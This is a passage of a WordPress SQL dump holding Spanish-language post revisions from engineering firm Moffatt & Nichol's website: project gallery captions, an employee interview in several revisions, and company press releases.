11:22:06','',2314,'http://moffattnichol.com/spanish/2314-autosave/',0,'revision','',0),(2591,1,'2012-08-29 11:22:13','2012-08-29 11:22:13','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-two.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Puerto deportivo del mercado público de la isla Granville</div>\n<div class=\"gallary-text\">Para revitalizar el puerto del mercado público de la isla Granville, ubicado en uno de los principales destinos turísticos de Vancouver, Moffatt & Nichol realizó un estudio de concepto, apoyo para la aplicación de los reglamentos, diseño detallado, servicios de licitación y gestión de la construcción para reemplazar y mejorar las instalaciones, que tenían 30 años de antigüedad.</div>\n</div>','Urban two','','inherit','open','open','','2315-autosave','','','2012-08-29 11:22:13','2012-08-29 11:22:13','',2315,'http://moffattnichol.com/spanish/2315-autosave/',0,'revision','',0),(2592,1,'2012-08-29 11:23:13','2012-08-29 11:23:13','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-three.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Puerto Deportivo Cabrillo Way</div>\n<div class=\"gallary-text\">El Puerto Deportivo Cabrillo Way proporciona un frente costero unificado y continuo dentro del área de desarrollo del canal oeste del Puerto de Los Ángeles. Moffatt & Nichol se encargó del aspecto de planes, especificaciones y estimados durante la Fase I del desarrollo y actualmente proporciona servicios de apoyo durante la Fase II.</div>\n</div>','Urban three','','inherit','open','open','','2316-autosave','','','2012-08-29 11:23:13','2012-08-29 11:23:13','',2316,'http://moffattnichol.com/spanish/2316-autosave/',0,'revision','',0),(2593,1,'2012-08-29 11:23:16','2012-08-29 11:23:16','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Diseño de la ribera sur del Lago Unión</div>\n<div class=\"gallary-text\">Como parte de un equipo multidisciplinario, Moffatt & Nichol proporcionó el diseño de ingeniería estructural y costera, además de servicios de apoyo de construcción para las instalaciones de frente costero en este parque de 5 hectáreas a lo largo de la ribera sur del lago Unión en Seattle, Washington.</div>\n</div>','Urban four','','inherit','open','open','','2317-autosave','','','2012-08-29 11:23:16','2012-08-29 11:23:16','',2317,'http://moffattnichol.com/spanish/2317-autosave/',0,'revision','',0),(2594,1,'2012-08-29 11:25:51','2012-08-29 11:25:51','<img src=\"http://www.moffattnichol.com/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Terminal Kitimat de gas natural licuado</div>\n<div class=\"gallary-text\">Moffatt & Nichol completó la selección del lugar, las evaluaciones de navegación, el apoyo para la aplicación de los reglamentos, el diseño preliminar y el diseño detallado para las obras marítimas de una nueva terminal de exportación de gas natural licuado que debía dejar una mínima huella ecológica en el sensible hábitat acuático del lugar.</div>\n</div> ','Energy two','','inherit','open','open','','2320-autosave','','','2012-08-29 11:25:51','2012-08-29 11:25:51','',2320,'http://moffattnichol.com/spanish/2320-autosave/',0,'revision','',0),(2595,1,'2012-08-29 11:25:51','2012-08-29 11:25:51','<img src=\"http://www.moffattnichol.com/wp-content/themes/moffatandnichol/images/energy/energy-three.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Dársena larga para Chevron en Richmond</div>\n<div class=\"gallary-text\">En virtud de diversos contratos, Moffatt & Nichol ha proporcionado la inspección y el estado de los servicios de topografía, análisis de cargas sísmicas y las actualizaciones, la auditoría MOTEMS y el dominio del tiempo de análisis de amarre para las operaciones de alijo y de apoyo a la reparación y rehabilitación de Long Wharf de Chevron en Richmond, California.</div>\n</div> ','Energy three','','inherit','open','open','','2321-autosave','','','2012-08-29 11:25:51','2012-08-29 11:25:51','',2321,'http://moffattnichol.com/spanish/2321-autosave/',0,'revision','',0),(2596,1,'2012-08-29 11:25:51','2012-08-29 11:25:51','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-one.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Terminal marítima de GNL Sabine Pass</div>\n<div class=\"gallary-text\">Moffatt & Nichol aportó el diseño de ingeniería marítima EPC (Ingeniería, adquisición y construcción) para la terminal marítima de gas natural licuado Sabine Pass en la vía navegable Sabine, aproximadamente a 8 km de distancia del Golfo de México. La terminal cuenta con dos atracaderos de descarga, caballetes, pasarela de acceso, torre de vigilancia contra incendios y escollera de ribera.</div>\n</div> ','Energy','','inherit','open','open','','2319-autosave','','','2012-08-29 11:25:51','2012-08-29 11:25:51','',2319,'http://moffattnichol.com/spanish/2319-autosave/',0,'revision','',0),(2597,1,'2012-08-29 11:29:11','2012-08-29 11:29:11','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-two.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Inspección de instalaciones del frente costero de la terminal de contenedores Red Hook</div>\n<div class=\"gallary-text\">En nombre de la Autoridad Portuaria de Nueva York y Nueva Jersey, Moffatt & Nichol realizó un estudio de la condición cíclica de los elementos por encima y por debajo del agua de la dársena y los muros de retención de la terminal de contenedores Red Hook en Brooklyn, Nueva York.</div>\n</div> ','Inspection two','','inherit','open','open','','2324-autosave','','','2012-08-29 11:29:11','2012-08-29 11:29:11','',2324,'http://moffattnichol.com/spanish/2324-autosave/',0,'revision','',0),(2598,1,'2012-08-29 11:30:14','2012-08-29 11:30:14','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-one.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Inspección de instalaciones del frente costero de la dársena Victor</div>\n<div class=\"gallary-text\">Mediante un contrato IDIQ (Entrega indefinida, cantidad indefinida) con NAVFAC Pacífico, Moffatt & Nichol prestó servicios de inspección de la instalación del frente costero a nivel de diseño para más de 1100 metros lineales de muros de retención de tablestacas de acero en la dársena Victor en el puerto Apra en la Base Naval Guam.</div>\n</div> \n','Inspection three','','inherit','open','open','','2325-autosave','','','2012-08-29 11:30:14','2012-08-29 11:30:14','',2325,'http://moffattnichol.com/spanish/2325-autosave/',0,'revision','',0),(2599,1,'2012-08-29 11:30:16','2012-08-29 11:30:16','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Rehabilitación del antiguo muelle 11A de la Marina</div>\n<div class=\"gallary-text\">Moffatt & Nichol colaboró con el Puerto Unificado de San Diego en la evaluación del antiguo y estratégicamente localizado muelle 11A de la Marina en San Diego, California, mediante la realización de inspecciones sobre y debajo del nivel acuático, analizando las opciones de rehabilitación y proporcionando los planes, las especificaciones y los estimados para las reparaciones recomendadas.\n</div>\n</div> ','Inspection four','','inherit','open','open','','2326-autosave','','','2012-08-29 11:30:16','2012-08-29 11:30:16','',2326,'http://moffattnichol.com/spanish/2326-autosave/',0,'revision','',0),(2600,1,'2012-09-06 09:46:05','2012-09-06 09:46:05','<p class=\"para-text\"><strong>Brad</strong>\nGerente de proyecto/Ingeniero costero principal</p>\n<strong>¿Cuánto tiempo ha trabajado con Moffatt &amp; Nichol?</strong>\n15 años\n\n<strong>¿Cómo llegó a la compañía?</strong>\nQuería formar parte de Moffatt &amp; Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida por el excelente trabajo costero en la costa oeste, pero su única oficina estaba situada en la zona metropolitana de Los Ángeles, y yo no quería vivir allí. Unos 12 años después de la graduación me encontraba terminando un proyecto de 3 años en el que había estado trabajando en Boise, Idaho, y me puse a pensar en la posibilidad de regresar a California o quedarme en Idaho. Mi madre, que vive en California, quería animarnos a mí y a mis hijos (sus 2 nietos) a volver, y empezó a enviarme los anuncios para puestos de ingeniero que veía en el periódico. El primer anuncio que me envió fue el de un cargo en Moffatt &amp; Nichol, empresa de la que ella no sabía nada. ¡Creo que era mi destino! Respondí al anuncio, me entrevisté con un equipo muy experimentado de profesionales (todos los cuáles siguen trabajando con la empresa), y me contrataron.\n\n<strong>¿Qué le ha mantenido con la compañía por 15 años?</strong>\nEsta empresa ofrece la combinación perfecta para mí: trabajo interesante, gente excepcional y una cultura empresarial solidaria y positiva. Me siento muy afortunado de poder hacer lo que me gusta (y sé) hacer.\n\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\nHe podido trabajar en proyectos importantes, con un equipo de trabajo y colaboración excelentes, y con clientes excepcionales. Poder convertir las ideas en algo tangible ante tus propios ojos es un reto formidable, como lo fue un reciente proyecto de un muelle que diseñamos y que fue construido en sólo 6 meses en modo de vía rápida.\n\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\nPareciera que tengo la suerte de trabajar en proyectos en lugares muy bellos. Como entusiasta del ciclismo y de las actividades al aire libre, eso realmente me atrae muchísimo. La verdad es que pareciera que la empresa, en conjunto, funciona en lugares maravillosos. Pero también me he ganado mi lugar haciendo ciertas cosas, por ejemplo: ¡una inmersión en diciembre en aguas a 10 ºC y visibilidad casi nula!\n\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\nAutonomía excepcional y organización horizontal única. La administración comparte los beneficios y los elogios, así como también respeta a las personas y la flexibilidad del trabajo. También me complacen los esfuerzos de reconocer y dar visibilidad a las personas, porque eso nos hace sentir valorados.\n\n<strong>¿Qué separa a Moffatt &amp; Nichol de la competencia?</strong>\nEl respeto que la empresa tiene para sus empleados, como se evidencia en el bajo volumen de rotación de personal y el talento excepcional. La creatividad de sus miembros… la afirmación de soluciones prácticas realmente es cierta. Además, no hay división entre la administración y los empleados. La empresa demuestra respeto por sus empleados (verdadero respeto, no ese \"respeto\" vacío del que frecuentemente se jactan otras compañías).','Brad','<p class=\"para-text\">\n<strong> Brad</strong>\nGerente de proyecto/Ingeniero costero principal\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\n15 años\n<strong>¿Cómo llegó a la compañía?</strong>\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida…</p>\n','inherit','open','open','','2569-autosave','','','2012-09-06 09:46:05','2012-09-06 09:46:05','',2569,'http://moffattnichol.com/spanish/2569-autosave/',0,'revision','',0),(2601,1,'2012-07-09 07:49:10','2012-07-09 07:49:10','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de Proyectos / Ingeniero Superior Costera\r\n \r\n<strong>¿Cuánto tiempo has estado con Moffatt & Nichol?</strong>\r\n15 años\r\n \r\n<strong>¿Cómo llegaste a la empresa?</strong>\r\nYo quería ser parte de Moffatt & Nichol desde que estaba en la escuela de posgrado de obtener mi título en ingeniería de costas en 1985. La firma fue muy conocido por su excelente trabajo costera en la costa oeste, pero yo no quería vivir en el área del Gran La única oficina de la costa oeste de entonces. Unos 12 años después de su graduación, cuando un proyecto de 3 años que había estado trabajando en Boise, Idaho, estaba terminando, estaba considerando la posibilidad de regresar a California o quedarse en Idaho. Mi mamá, que vive en California, ha querido \"animar\" a mí (y sus 2 nietos) para volver y me empezó a enviar los anuncios para puestos de ingeniero que vio en el periódico. El primer anuncio que envió fue para un puesto en Moffatt & Nichol-una empresa que no sabía nada. Creo que fue un presagio. Le contesté al anuncio, se entrevistó con un equipo muy experimentado de profesionales todos ellos siguen trabajando con la empresa y fue contratado para el trabajo. \r\n \r\n<strong>¿Qué te ha mantenido con la empresa desde hace 15 años?</strong>\r\nNuestra firma ofrece la perfecta trifecta para mí: un trabajo interesante, la gente, y una cultura de la empresa solidaria y positiva. Me siento muy afortunado de hacer lo que me gusta hacer, y estoy bien.\r\n \r\n<strong>¿Cómo ha sido su papel desarrollado desde que llegaste?</strong> \r\nHe sido capaz de trabajar en proyectos grandes, con gran trabajo en equipo y colaboración, y grandes clientes. Es un reto fantástico para poder hacer que las ideas la derecha tangible ante los ojos, como un proyecto de muelle reciente que hemos diseñado y construido en sólo 6 meses en el modo de Fastrack.  \r\n \r\n<strong>¿Qué tipos de proyectos no se trabaja en o ha trabajado?</strong>\r\nParece que tengo la gran fortuna de trabajar en proyectos en lugares hermosos. Como un entusiasta ciclista y al aire libre, esto realmente me atrae en muchos niveles. Parece que la empresa como un todo funciona de maravillas. Yo he pagado algunas deudas también, incluyendo una inmersión en diciembre, con agua de 50 grados y la visibilidad de 0,01 metros de altura.\r\n \r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nExcepcional la autonomía y la organización únicamente horizontal. Acciones de gestión de la riqueza y la alabanza, así como la gente respeta y la flexibilidad de trabajo. También me gustan mucho los esfuerzos para reconocer y dar visibilidad a las personas para crear un sentido de ser valorado.\r\n\r\n<strong>Lo que separa a Moffatt & Nichol de su competencia? </strong>\r\nEl respeto que la empresa tiene para sus empleados-como lo demuestra el volumen de negocio muy bajo y el talento excepcional. Las personas creativas ... Declaración de soluciones prácticas que realmente es cierto. Además, no hay división entre la dirección y los trabajadores. La firma demuestra el respeto a los empleados en lugar de ser simplemente una frase a menudo citada vacío.\r\n</p>','Brad','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de Proyectos / Ingeniero Superior Costera\r\n<strong>¿Cuánto tiempo has estado con Moffatt & Nichol?</strong>\r\n15 años\r\n<strong>¿Cómo llegaste a la empresa?</strong>\r\nYo quería ser parte de Moffatt & Nichol desde que estaba en la escuela de posgrado de obtener mi título en ingeniería de costas en 1985.</p>\r\n','inherit','open','open','','2569-revision-4','','','2012-07-09 07:49:10','2012-07-09 07:49:10','',2569,'http://moffattnichol.com/spanish/2569-revision-4/',0,'revision','',0),(2602,1,'2012-08-29 11:41:42','2012-08-29 11:41:42','<p class=\"para-text\">\r\n<strong>Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n \r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida por el excelente trabajo costero en la costa oeste, pero su única oficina estaba situada en la zona metropolitana de Los Ángeles, y yo no quería vivir allí. Unos 12 años después de la graduación me encontraba terminando un proyecto de 3 años en el que había estado trabajando en Boise, Idaho, y me puse a pensar en la posibilidad de regresar a California o quedarme en Idaho. Mi madre, que vive en California, quería animarnos a mí y a mis hijos (sus 2 nietos) a volver, y empezó a enviarme los anuncios para puestos de ingeniero que veía en el periódico. El primer anuncio que me envió fue el de un cargo en Moffatt & Nichol, empresa de la que ella no sabía nada. ¡Creo que era mi destino! Respondí al anuncio, me entrevisté con un equipo muy experimentado de profesionales (todos los cuáles siguen trabajando con la empresa), y me contrataron.  \r\n \r\n<strong>¿Qué le ha mantenido con la compañía por 15 años?</strong>\r\nEsta empresa ofrece la combinación perfecta para mí: trabajo interesante, gente excepcional y una cultura empresarial solidaria y positiva. Me siento muy afortunado de poder hacer lo que me gusta (y sé) hacer.\r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong> \r\nHe podido trabajar en proyectos importantes, con un equipo de trabajo y colaboración excelentes, y con clientes excepcionales. Poder convertir las ideas en algo tangible ante tus propios ojos es un reto formidable, como lo fue un reciente proyecto de un muelle que diseñamos y que fue construido en sólo 6 meses en modo de vía rápida.  \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nPareciera que tengo la suerte de trabajar en proyectos en lugares muy bellos. Como entusiasta del ciclismo y de las actividades al aire libre, eso realmente me atrae muchísimo. La verdad es que pareciera que la empresa, en conjunto, funciona en lugares maravillosos. Pero también me he ganado mi lugar haciendo ciertas cosas, por ejemplo: ¡una inmersión en diciembre en aguas a 10 ºC y visibilidad casi nula!\r\n \r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nAutonomía excepcional y organización horizontal única. La administración comparte los beneficios y los elogios, así como también respeta a las personas y la flexibilidad del trabajo. También me complacen los esfuerzos de reconocer y dar visibilidad a las personas, porque eso nos hace sentir valorados.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nEl respeto que la empresa tiene para sus empleados, como se evidencia en el bajo volumen de rotación de personal y el talento excepcional. La creatividad de sus miembros… la afirmación de soluciones prácticas realmente es cierta. Además, no hay división entre la administración y los empleados. La empresa demuestra respeto por sus empleados (verdadero respeto, no ese \"respeto\" vacío del que frecuentemente se jactan otras compañías).\r\n</p>','Brad','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida…</p>\r\n','inherit','open','open','','2569-revision-5','','','2012-08-29 11:41:42','2012-08-29 11:41:42','',2569,'http://moffattnichol.com/spanish/2569-revision-5/',0,'revision','',0),(2603,1,'2012-06-15 11:54:55','2012-06-15 11:54:55','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"8\">Moffatt &amp; Nichol adquiere el software de simulación de terminales de contenedores Flexsim</h3> LONG BEACH, CA, 17 de febrero de 2011—Moffatt &amp; Nichol se complace en anunciar la adquisición de Flexsim Container Terminal (Flexsim CT), un programa de software de simulación diseñado específicamente para operaciones de terminales de contenedores. Durante los últimos 5 años, Moffatt &amp; Nichol ha sido usuario autorizado y socio de Flexsim y del desarrollo de Flexsim CT y lo ha utilizado como una herramienta potente y confiable para el planeamiento y análisis de proyectos y operaciones de terminales de contenedores y patios ferroviarios intermodales. Ahora, la firma mantiene exclusivamente el código fuente propietario para el software Flexsim CT y todos los servicios de tecnología relacionados con las operaciones de las terminales de contenedores. Flexsim Software Products, Inc. seguirá proporcionando productos de simulación para la industria de terminales que no sean de contenedores.\r\n\r\nLa adquisición del software Flexsim CT mejora más aún nuestra capacidad de proporcionar soporte a nuestros clientes con un creciente conjunto de herramientas de simulación para modelar la disposición, las operaciones y las actividades de los equipos de las terminales, incluyendo terminales de contenedores completamente automatizadas. La simulación por computadora es una forma de proporcionar un valioso vistazo a las consecuencias de modificaciones operacionales y logísticas en terminales existentes así como para el desarrollo de nuevas instalaciones. El software Flexsim CT, ahora de propiedad de Moffatt &amp; Nichol, creará una robusta plataforma para estos desarrollos según sea necesario durante el ciclo de vida del proyecto, incluyendo el planeamiento, el desarrollo, la integración y las operaciones.\r\n\r\nCon un equipo dedicado al desarrollo de modelos de simulación, la aplicación de Flexsim CT es el resultado del compromiso de la firma con sus clientes y con el mejoramiento y la ampliación de nuestros servicios a fin de incluir la ingeniería de operaciones y procesos para terminales de contenedores, la selección y especificación de equipos de manipulación de contenedores y los sistemas de operación de terminales.\r\n\r\nLas aplicaciones de simulación de Moffatt &amp; Nichol incluyen el análisis de la productividad del equipo con diferentes configuraciones, la obtención de valores de parámetros clave para el planeamiento de terminales, la comparación del funcionamiento en diversas alternativas y la evaluación de la eficiencia del sistema de una terminal. La función de arrastrar y soltar y la interfaz orientada a objetos de Flexsim CT, así como nuestra capacidad de modelar lógicas de operación muy personalizadas, permitirán a la compañía proporcionar un servicio altamente interactivo a nuestros clientes en el desarrollo de su planta, de sus procedimientos y de la flota del equipo para terminales de contenedores convencionales y automatizadas.\r\n\r\nLas visualizaciones integradas en 2D y 3D y las animaciones generadas durante el proceso de creación del modelo no solo hacen la depuración y el ajuste de un modelo mucho más sencillo, sino que han probado ser un método imprescindible para que los clientes vean sus instalaciones y operaciones en movimiento durante toda la etapa del planeamiento. El compromiso de Moffatt &amp; Nichol con la futura tecnología de simulación y su sociedad con Flexsim continuará para ampliar las capacidades de Flexsim CT.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3 id=\"1\">Gary Antonucci se une a Moffatt &amp; Nichol como Ingeniero principal de puentes</h3> LONG BEACH, CA, 13 de diciembre de 2011—Moffatt &amp; Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la firma. El ingeniero Antonucci aporta a Moffatt &amp; Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transportes de California), ha completado muchos proyectos de carreteras estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha completado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de proyectos o Ingeniero estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es un ingeniero profesional y recibió su grado de ingeniería civil de la Universidad Politécnica del estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3 id=\"2\">Carlos Noguera se une a la firma como Gerente General para la oficina de Colombia</h3> LONG BEACH, CA, 13 de diciembre de 2011—Moffatt &amp; Nichol da la bienvenida a la firma a Carlos Noguera como Gerente General para la oficina de Colombia.  El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel internacional.\r\n\r\nEl ingeniero Noguera se une a Moffatt &amp; Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero director general desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt &amp; Nichol incluyó el diseño del acceso al canal de navegación al puerto de Buenaventura, Colombia donde fue un factor clave en los logros de la firma en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un título en ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3 id=\"3\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3> LONG BEACH, CA, 30 de noviembre de 2011 — Moffatt &amp; Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York de la firma. La ingeniera Junold se une a Moffatt &amp; Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la firma. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga marítima y terrestre, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro del estado de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. La señora Junold es una ingeniera colegiada en el Reino Unido y obtuvo su maestría de Hidráulica en ingeniería civil de la universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3 id=\"4\">Moffatt &amp; Nichol añade oficina en Eastern Great Lakes</h3> LONG BEACH, CA, 8 de agosto de 2011— Moffatt &amp; Nichol se complace en anunciar la expansión de nuestra firma con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt &amp; Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt &amp; Nichol 250 Mill Street, Suite 307 Rochester, NY 14614 P: 585-641-7128 E: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3 id=\"5\">Richard Rocktoff se une como Gerente principal de proyectos de transporte</h3> LONG BEACH, CA, 25 de julio de 2010—Richard Rocktoff se une al equipo de transporte de Moffatt &amp; Nichol como Gerente principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el Sr. Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la firma.\r\n\r\nAntes de unirse a Moffatt &amp; Nichol, el Sr. Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 12 millas (19 km) de carretera interestatal. El proyecto P3 de $1.200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el Sr. Rocktoff supervisó el diseño de la reconstrucción de 7 millas (11,2 km) de la carretera US 1, incluyendo el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 1,5 millas (2,4 km) y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 9 millas (14,4 km) de la carretera I-4 a través del Green Swamp.\r\n\r\nEl señor Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Es graduado de la Universidad del Sur de Florida donde recibió su MBA y de la Universidad de Florida donde obtuvo su título en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3 id=\"6\">Moffatt &amp; Nichol se expande a América Latina con oficina en Colombia</h3> LONG BEACH, CA, 18 de julio de 2011—Moffatt &amp; Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt &amp; Nichol ha estado activo por mucho tiempo en Colombia, el inicio de Moffatt &amp; Nichol Colombia S.A.S. marca el sincero compromiso de la firma con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol Av. Cra. 9, N.° 113-52, Of. 1201 Torres Unidas 2\r\n\r\nBogotá D.C., Colombia P: +57 313 373 5350 E: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3 id=\"7\">Proyecto de GPA de Moffatt &amp; Nichol gana premio de ingeniería de Georgia</h3> SAVANNAH, GA, 1 de abril de 2011— Georgia Engineering Alliance confirió a Moffatt &amp; Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road y 